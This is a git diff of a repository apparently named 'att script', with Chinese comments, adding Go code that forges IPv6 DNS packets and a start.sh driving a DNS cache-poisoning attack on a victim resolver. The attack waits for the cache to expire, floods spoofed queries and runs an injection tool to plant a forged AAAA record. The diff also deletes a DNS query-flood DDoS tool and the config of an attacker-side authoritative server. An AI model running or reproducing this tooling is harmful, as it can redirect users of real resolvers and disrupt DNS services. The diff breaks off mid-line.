+ "个请求包到" + targetaddr) + } +} + +func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { + return err + } + err := handle.WritePacketData(buffer.Bytes()) + if err != nil { + println(err.Error()) + } + return nil +} + +func GetIfaceAddr(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + srcIP = ipnet.IP.To16() + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) { + gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP) + if err != nil { + fmt.Println(err.Error()) + panic("") + } + return gwMAC, nil +} + +func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) { + if debugOutput { + fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String()) + } + _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53) +} + +func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { + ipLayer := layers.IPv6{ + FlowLabel: 1, + SrcIP: src, + DstIP: dst, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: sport, + DstPort: dport, + } + dnsLayer := layers.DNS{ + ID: id, + QR: false, + OpCode: 0, + AA: false, + TC: false, + RD: true, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: []layers.DNSQuestion{{ + Name: []byte(name), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }}, + Authorities: nil, + Additionals: nil, + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest: ", err) + } +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/start.sh" "b/att script/4 (v6\346\263\250\345\205\245)/code/start.sh" new file mode 100644 index 0000000..03b7812 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/start.sh" @@ -0,0 +1,38 @@ +# 目前仅考虑篡改或注入AAAA记录 +# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP +# Please run with sudo. + +# Verify the existing record domain, just for proof purposes. +echo '获取原记录中:' +dig @$1 $4 AAAA +sleeptime=0 +sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` + +echo "等待缓存过期,$sleeptime 秒之后开始攻击..." +sleep $sleeptime + +echo "开始攻击" +echo "攻击参数:" +echo "目标域名权威服务地址:$5" +echo "目标解析服务地址:$1" +echo "目标域名:$4" + +# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口] +bash ./dns_query.sh $5 $1 $4 $3 + +# 开始攻击 +# Change the argument accordingly +echo "执行侧信道攻击脚本中" +./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true + + + # Validations +echo "攻击结束" +dig @$1 $4 AAAA + +sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` +echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.' + +echo '等待两秒...' +sleep 2 +dig @$1 $4 AAAA diff --git "a/att script/4 (v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/4 (v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" new file mode 100644 index 0000000..74605e2 Binary files /dev/null and "b/att script/4 (v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" differ diff --git "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" "b/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" deleted file mode 100644 index e0c53cc..0000000 --- "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" +++ /dev/null @@ -1,21 +0,0 @@ -module prober - -go 1.20 - -require ( - github.com/miekg/dns v1.1.55 - github.com/panjf2000/ants/v2 v2.8.2 - github.com/schollz/progressbar/v3 v3.13.1 - github.com/thanhpk/randstr v1.0.6 -) - -require ( - github.com/mattn/go-runewidth v0.0.14 // indirect - github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect - github.com/rivo/uniseg v0.2.0 // indirect - golang.org/x/mod v0.7.0 // indirect - golang.org/x/net v0.2.0 // indirect - golang.org/x/sys v0.6.0 // indirect - golang.org/x/term v0.6.0 // indirect - golang.org/x/tools v0.3.0 // indirect -) diff --git "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" "b/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" deleted file mode 100644 index 341b6e3..0000000 --- "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" +++ /dev/null @@ -1,46 +0,0 @@ -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw= -github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= -github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo= -github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY= -github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= -github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= -github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ= -github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= -github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE= -github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o= -github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U= -golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= -golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= -golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= -golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= -golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= -golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= -golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM= -golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" "b/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" deleted file mode 100644 index c4eef91..0000000 --- "a/att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" +++ /dev/null @@ -1,49 +0,0 @@ -package main - -import ( - "github.com/miekg/dns" - "github.com/panjf2000/ants/v2" - "github.com/schollz/progressbar/v3" - "github.com/thanhpk/randstr" - "os" - "strconv" - "strings" - "sync" -) - -// 攻击 -func main() { - defer ants.Release() - - var wg sync.WaitGroup - - p, _ := ants.NewPool(500, ants.WithPreAlloc(true)) - - c := new(dns.Client) - args := os.Args - qname := args[1] - runcount, _ := strconv.Atoi(args[2]) - bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度") - for i := runcount; i > 0; i-- { - for _, v := range args[3:] { - wg.Add(1) - - fqdn := strings.ToLower(randstr.String(10)) + "." + qname - msg := dns.Msg{} - msg.SetQuestion(fqdn, dns.TypeAAAA) - vi := v + ":53" - - _ = p.Submit( - func() { - _, _, err := c.Exchange(&msg, vi) - wg.Done() - if err != nil { - return - } - }) - bar.Add(1) - } - } - wg.Wait() - print("完成!!") -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" deleted file mode 100644 index f050ea7..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" +++ /dev/null @@ -1,4 +0,0 @@ - -.:53 { - atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30 -} \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" deleted file mode 100644 index e7ea97f..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" +++ /dev/null @@ -1,5 +0,0 @@ -package core - -// 注册服务并导入所有插件 -import _ "ohmydns2/core/dnsserver" -import _ "ohmydns2/core/prober" diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" deleted file mode 100644 index 872e44c..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" +++ /dev/null @@ -1,86 +0,0 @@ -package dnsserver - -import ( - "fmt" - "net" - "strings" -) - -type zoneAddr struct { - Zone string - Port string - Transport string // dns, tls or grpc - Address string // used for bound zoneAddr - validation of overlapping -} - -// String returns the string representation of z. -func (z zoneAddr) String() string { - s := z.Transport + "://" + z.Zone + ":" + z.Port - if z.Address != "" { - s += " on " + z.Address - } - return s -} - -// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts. -func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) { - parts := strings.Split(address, "://") - switch len(parts) { - case 1: - ip, port, err := net.SplitHostPort(parts[0]) - return "", ip, port, err - case 2: - ip, port, err := net.SplitHostPort(parts[1]) - return parts[0], ip, port, err - default: - return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address) - } -} - -type zoneOverlap struct { - registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key - unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key -} - -func newOverlapZone() *zoneOverlap { - return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)} -} - -// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered -// we consider that an unbound address is overlapping all bound addresses for same zone, same port -func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) { - existingZone, overlappingZone = zo.check(z) - if existingZone != nil || overlappingZone != nil { - return existingZone, overlappingZone - } - // there is no overlap, keep the current zoneAddr for future checks - zo.registeredAddr[z] = z - zo.unboundOverlap[z.unbound()] = z - return nil, nil -} - -// check validates a zoneAddr for overlap without registering it -func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) { - if exist, ok := zo.registeredAddr[z]; ok { - // exact same zone already registered - return &exist, nil - } - uz := z.unbound() - if already, ok := zo.unboundOverlap[uz]; ok { - if z.Address == "" { - // current is not bound to an address, but there is already another zone with a bind address registered - return nil, &already - } - if _, ok := zo.registeredAddr[uz]; ok { - // current zone is bound to an address, but there is already an overlapping zone+port with no bind address - return nil, &uz - } - } - // there is no overlap - return nil, nil -} - -// unbound returns an unbound version of the zoneAddr -func (z zoneAddr) unbound() zoneAddr { - return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport} -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" deleted file mode 100644 index b3a3871..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" +++ /dev/null @@ -1,105 +0,0 @@ -package dnsserver - -import ( - "context" - "crypto/tls" - "fmt" - "net/http" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/request" - "time" - - "github.com/coredns/caddy" -) - -// Config configuration for a single server. -type Config struct { - // The zone of the site. - Zone string - - // one or several hostnames to bind the server to. - // defaults to a single empty string that denote the wildcard address - ListenHosts []string - - // The port to listen on. - Port string - - // Root points to a base directory we find user defined "things". - // First consumer is the file plugin to looks for zone files in this place. - Root string - - // Debug controls the panic/recover mechanism that is enabled by default. - Debug bool - - // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default. - Stacktrace bool - - // The transport we implement, normally just "dns" over TCP/UDP, but could be - // DNS-over-TLS or DNS-over-gRPC. - Transport string - - // If this function is not nil it will be used to inspect and validate - // HTTP requests. Although this isn't referenced in-tree, external plugins - // may depend on it. - HTTPRequestValidateFunc func(*http.Request) bool - - // FilterFuncs is used to further filter access - // to this handler. E.g. to limit access to a reverse zone - // on a non-octet boundary, i.e. /17 - FilterFuncs []FilterFunc - - // ViewName is the name of the Viewer PLugin defined in the Config - ViewName string - - // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS). - TLSConfig *tls.Config - - // Timeouts for TCP, TLS and HTTPS servers. - ReadTimeout time.Duration - WriteTimeout time.Duration - IdleTimeout time.Duration - - // TSIG secrets, [name]key. - TsigSecret map[string]string - - // Plugin stack. - Plugin []plugin.Plugin - - // Compiled plugin stack. - pluginChain plugin.Handler - - // Plugin interested in announcing that they exist, so other plugin can call methods - // on them should register themselves here. The name should be the name as return by the - // Handler's Name method. - registry map[string]plugin.Handler - - // firstConfigInBlock is used to reference the first config in a server block, for the - // purpose of sharing single instance of each plugin among all zones in a server block. - firstConfigInBlock *Config - - // metaCollector references the first MetadataCollector plugin, if one exists - metaCollector MetadataCollector -} - -// FilterFunc is a function that filters requests from the Config -type FilterFunc func(context.Context, *request.Request) bool - -// keyForConfig builds a key for identifying the configs during setup time -func keyForConfig(blocIndex int, blocKeyIndex int) string { - return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex) -} - -// GetConfig gets the Config that corresponds to c. -// If none exist nil is returned. -func GetConfig(c *caddy.Controller) *Config { - ctx := c.Context().(*dnsContext) - key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex) - if cfg, ok := ctx.keysToConfigs[key]; ok { - return cfg - } - // we should only get here during tests because directive - // actions typically skip the server blocks where we make - // the configs. - ctx.saveConfig(key, &Config{ListenHosts: []string{""}}) - return GetConfig(c) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" deleted file mode 100644 index 59658c6..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" +++ /dev/null @@ -1,29 +0,0 @@ -package dnsserver - -import ( - "net" - "net/http" - "ohmydns2/plugin/pkg/nonwriter" -) - -// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods. -type DoHWriter struct { - nonwriter.Writer - - // raddr is the remote's address. This can be optionally set. - raddr net.Addr - // laddr is our address. This can be optionally set. - laddr net.Addr - - // request is the HTTP request we're currently handling. - request *http.Request -} - -// RemoteAddr returns the remote address. -func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr } - -// LocalAddr returns the local address. -func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr } - -// Request returns the HTTP request -func (d *DoHWriter) Request() *http.Request { return d.request } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" deleted file mode 100644 index 4ac3ec4..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" +++ /dev/null @@ -1,60 +0,0 @@ -package dnsserver - -import ( - "fmt" - "ohmydns2/plugin/pkg/dnsutil" - "regexp" - "sort" -) - -// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not. -// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax -func checkZoneSyntax(zone string) bool { - if zone == "." || dnsutil.IsReverse(zone) != 0 { - return true - } - regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone) - return regex1035PreferredSyntax -} - -// startUpZones creates the text that we show when starting up: -// grpc://example.com.:1055 -// example.com.:1053 on 127.0.0.1 -func startUpZones(protocol, addr string, zones map[string][]*Config) string { - s := "" - - keys := make([]string, len(zones)) - i := 0 - - for k := range zones { - keys[i] = k - i++ - } - sort.Strings(keys) - - for _, zone := range keys { - //if strings.HasPrefix(protocol, "prober") { - // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath) - // continue - //} - if !checkZoneSyntax(zone) { - s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone) - } - // split addr into protocol, IP and Port - _, ip, port, err := SplitProtocolHostPort(addr) - - if err != nil { - // this should not happen, but we need to take care of it anyway - s += fmt.Sprintln(protocol + zone + ":" + addr) - continue - } - if ip == "" { - s += fmt.Sprintln(protocol + zone + ":" + port) - continue - } - // if the server is listening on a specific address let's make it visible in the log, - // so one can differentiate between all active listeners - s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip) - } - return s -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" deleted file mode 100644 index 7b54a88..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" +++ /dev/null @@ -1,328 +0,0 @@ -package dnsserver - -import ( - "fmt" - "net" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/parse" - "ohmydns2/plugin/pkg/transport" - "time" - - "github.com/coredns/caddy" - "github.com/coredns/caddy/caddyfile" - "github.com/miekg/dns" -) - -const serverType = "dns" - -func init() { - caddy.RegisterServerType(serverType, caddy.ServerType{ - Directives: func() []string { return Directives }, - DefaultInput: func() caddy.Input { - return caddy.CaddyfileInput{ - Filepath: "Ohmyfile", - Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"), - ServerTypeName: serverType, - } - }, - NewContext: newContext, - }) -} - -func newContext(i *caddy.Instance) caddy.Context { - return &dnsContext{keysToConfigs: make(map[string]*Config)} -} - -type dnsContext struct { - keysToConfigs map[string]*Config - - // configs is the master list of all site configs. - configs []*Config -} - -func (h *dnsContext) saveConfig(key string, cfg *Config) { - h.configs = append(h.configs, cfg) - h.keysToConfigs[key] = cfg -} - -// Compile-time check to ensure dnsContext implements the caddy.Context interface -var _ caddy.Context = &dnsContext{} - -// InspectServerBlocks make sure that everything checks out before -// executing directives and otherwise prepares the directives to -// be parsed and executed. -func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) { - // Normalize and check all the zone names and check for duplicates - for ib, s := range serverBlocks { - // Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for - // more than one reverse zone, replace the current value and add the rest to s.Keys. - zoneAddrs := []zoneAddr{} - for ik, k := range s.Keys { - trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme. - hosts, port, err := plugin.SplitHostPort(k1) - // We need to make this a fully qualified domain name to catch all errors here and not later when - // plugin.Normalize is called again on these strings, with the prime difference being that the domain - // name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a - // bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to - // "index out of range". - for ih := range hosts { - _, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih])) - if err != nil { - return nil, err - } - } - if err != nil { - return nil, err - } - - if port == "" { - switch trans { - case transport.DNS: - port = Port - case transport.TLS: - port = transport.TLSPort - case transport.GRPC: - port = transport.GRPCPort - case transport.HTTPS: - port = transport.HTTPSPort - } - } - - if len(hosts) > 1 { - s.Keys[ik] = hosts[0] + ":" + port // replace for the first - for _, h := range hosts[1:] { // add the rest - s.Keys = append(s.Keys, h+":"+port) - } - } - for i := range hosts { - zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans}) - } - } - - serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here. - - var firstConfigInBlock *Config - - for ik := range s.Keys { - za := zoneAddrs[ik] - s.Keys[ik] = za.String() - // Save the config to our master list, and key it for lookups. - cfg := &Config{ - Zone: za.Zone, - ListenHosts: []string{""}, - Port: za.Port, - Transport: za.Transport, - } - - // Set reference to the first config in the current block. - // This is used later by MakeServers to share a single plugin list - // for all zones in a server block. - if ik == 0 { - firstConfigInBlock = cfg - } - cfg.firstConfigInBlock = firstConfigInBlock - - keyConfig := keyForConfig(ib, ik) - h.saveConfig(keyConfig, cfg) - } - } - return serverBlocks, nil -} - -// MakeServers uses the newly-created siteConfigs to create and return a list of server instances. -func (h *dnsContext) MakeServers() ([]caddy.Server, error) { - // Copy the Plugin, ListenHosts and Debug from first config in the block - // to all other config in the same block . Doing this results in zones - // sharing the same plugin instances and settings as other zones in - // the same block. - for _, c := range h.configs { - c.Plugin = c.firstConfigInBlock.Plugin - c.ListenHosts = c.firstConfigInBlock.ListenHosts - c.Debug = c.firstConfigInBlock.Debug - c.Stacktrace = c.firstConfigInBlock.Stacktrace - - // Fork TLSConfig for each encrypted connection - c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone() - c.ReadTimeout = c.firstConfigInBlock.ReadTimeout - c.WriteTimeout = c.firstConfigInBlock.WriteTimeout - c.IdleTimeout = c.firstConfigInBlock.IdleTimeout - c.TsigSecret = c.firstConfigInBlock.TsigSecret - } - - // we must map (group) each config to a bind address - groups, err := groupConfigsByListenAddr(h.configs) - if err != nil { - return nil, err - } - // then we create a server for each group - var servers []caddy.Server - for addr, group := range groups { - // switch on addr - switch tr, _ := parse.Transport(addr); tr { - case transport.DNS: - s, err := NewServer(addr, group) - if err != nil { - return nil, err - } - servers = append(servers, s) - - case transport.TLS: - s, err := NewServerTLS(addr, group) - if err != nil { - return nil, err - } - servers = append(servers, s) - //暂不启用grpc传输 - //case transport.GRPC: - // s, err := NewServergRPC(addr, group) - // if err != nil { - // return nil, err - // } - // servers = append(servers, s) - //case transport.PROBER: - // s, err := prober.NewProberHTTP(addr, group) - // if err != nil { - // return nil, err - // } - // servers = append(servers, s) - case transport.HTTPS: - s, err := NewServerHTTPS(addr, group) - if err != nil { - return nil, err - } - servers = append(servers, s) - } - } - - // For each server config, check for View Filter plugins - for _, c := range h.configs { - // Add filters in the plugin.cfg order for consistent filter func evaluation order. - for _, d := range Directives { - if vf, ok := 